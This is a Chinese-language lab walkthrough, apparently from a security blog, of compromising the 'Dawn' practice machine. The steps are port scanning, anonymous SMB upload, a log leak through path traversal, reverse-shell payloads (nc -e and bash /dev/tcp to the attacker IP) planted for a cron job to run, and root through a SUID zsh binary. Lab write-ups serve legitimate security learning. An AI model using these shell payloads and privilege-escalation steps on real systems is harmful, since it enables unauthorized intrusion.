总结
getwebshell → SMB共享无密码 → SMB存在上传功能 → 存在周期执行任务 → SMB上传反弹shell → 被执行获得webshell
提 权 思 路 → suid发现zsh → -p容器提权
准备工作
-  启动VPN 
 获取攻击机IP >192.168.45.163

-  启动靶机 
 获取目标机器IP >192.168.242.11

信息收集-端口扫描
目标开放端口收集
-  Nmap开放端口扫描2次 sudo nmap --min-rate 10000 -p- 192.168.242.11 

通过两次收集到的端口:→80,139,445,3306
目标端口对应服务探测
# tcp探测sudo nmap -sT -sV -O -sC -p80,139,445,3306 192.168.242.11
信息收集-端口测试
80/tcp open http Apache httpd 2.4.38 ((Debian))445/tcp open netbios- Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
首先思考445端口是否存在SMB共享内容,在思考3306端口是否存在弱口令,最后来挖掘80端口
445-SMB端口的信息收集
445-SMB是否无需密码探测(存在)
连接成功则SMB没有开启密码
# 利用-L查看SMB的内容smbclient -L //192.168.242.11发现SMB服务不需要密码即可访问,查看到了目录ITDEPT

445-SMB文件信息收集
# 利用获取到的[sambashare]直接进行访问查看内容smbclient //192.168.242.11/ITDEPT -U root查看了一下文件,没发现什么有用的内容

445-SMB的上传(可能有用)
# 利用获取到的sambashare直接进行访问之后尝试使用PUT是否成功smbclient //192.168.242.11/ITDEPT -U rootsmb :\ > put [上传的文件]尝试了上传功能,发现SMB的上传功能开启

445-SMB用户名获取
# 抓取用户名enum4linux 192.168.242.11抓着玩,先去干其他的

3306-Mysql端口的信息收集
3306-Mysql端口的默认脆弱口令测试(失败)
# 尝试直接使用mysql协议进行root:root尝试(远程需-h)┌──(root㉿Kali)-[/home/bachang/Dawn]└─# mysql -h 192.168.242.11 -uroot -prootERROR 1045 (28000): Access denied for user 'root'@'192.168.45.163' (using password: YES)80-HTTP端口的信息收集
访问 http://192.168.242.11/ 发现显示的是设备正在建设中,从源码步骤开始

信息收集-源码查看
# 包括文章中是否写明一些敏感信息curl http://192.168.242.11# 利用html2text转换纯文本方便查看curl http://192.168.242.11 | html2text没什么有用的信息

信息收集-目录扫描
信息收集-目录扫描初步
如果扫描发现301适当考虑 -r 2 进行递归
dirsearch -u http://192.168.242.11 -x 302,403
因为扫出了目录,深层次的扫描待选
-  信息收集-目录扫描(后缀)
-  信息收集-目录扫描(深度/大字典)
-  信息收集-目录扫描(深度/大字典后缀)
信息收集-端点查看
/log端点查看
 发现该端点存在路径遍历

 访问了其中的内容,发现只有management.log可以查看

 下载之后进行查看,发现为系统内运行日志

文件的信息收集
收集到了账户信息 ganimedes
 在查看的过程中发现每分钟会执行重复的命令,在充满的命令中发现一些有趣的内容
 确认了会周期性的执行给777的权限到对应的文件

 并且会执行

漏洞利用-getwebshell
SMB+计划执行突破
回到之前我们发现的SMB的文件夹发现是ITDEPT
 和我们发现周期性日志中给777权的文件夹相同
 推测可以将文件上传到SMB,等待执行获取反弹shell
构造反弹shell的payload
确定我们需要上传的文件名为web-control,构造内容
echo 'nc -e /bin/bash 192.168.45.163 4444' > web-controlecho 'bash -i >& /dev/tcp/192.168.45.163/4444 0>&1' > product-control将文件上传到SMB中

攻击机开启监听
sudo nc -lvvp 4444等待反弹shell的监听

成功反弹shell

内网遨游-getshell
交互shell
交互shell-python
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell -> python失败使用python3python -c "import pty;pty.spawn('/bin/bash')";
FLAG1获取
www-data@dawn:~$ find / -name local.txt 2>/dev/null/home/dawn/local.txtcat /home/dawn/local.txt*************************
信息收集-内网基础信息收集
在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
检测操作系统的发行版本
# 确定发行版本lsb_release -a
查看内核版本信息
# 确定内核版本uname -a
确认home目录下用户
# 发现了两个用户 和我们收集的一样ls -al /home
确认每个home目录下是否有隐藏文件(待定)
# 例如.ssh找密码 ./*_history找历史记录等ls -al /home/dawn发现了隐藏的内容,先放一边,没思路就来

权限提升
Linux提权-sudo提权尝试
查找具有sudo权限,且不需要密码的可提权文件
# 利用sudo -l寻找sudo -l发现sudo的是sudo,不太能提权

Linux提权-suid提权尝试
# -perm 文件权限find / -perm -u=s -type f 2>/dev/null发现了zsh进行搜索

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

zsh的提权其实与bash的类似
提权成功

FLAG2获取
cat /root/proof.txt************************
 完结撒花~
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

没看够~?欢迎关注!
免费领取安全学习资料包!
   渗透工具

技术文档、书籍
 
 

面试题
帮助你在面试中脱颖而出

视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
 
 

应急响应笔记

学习路线
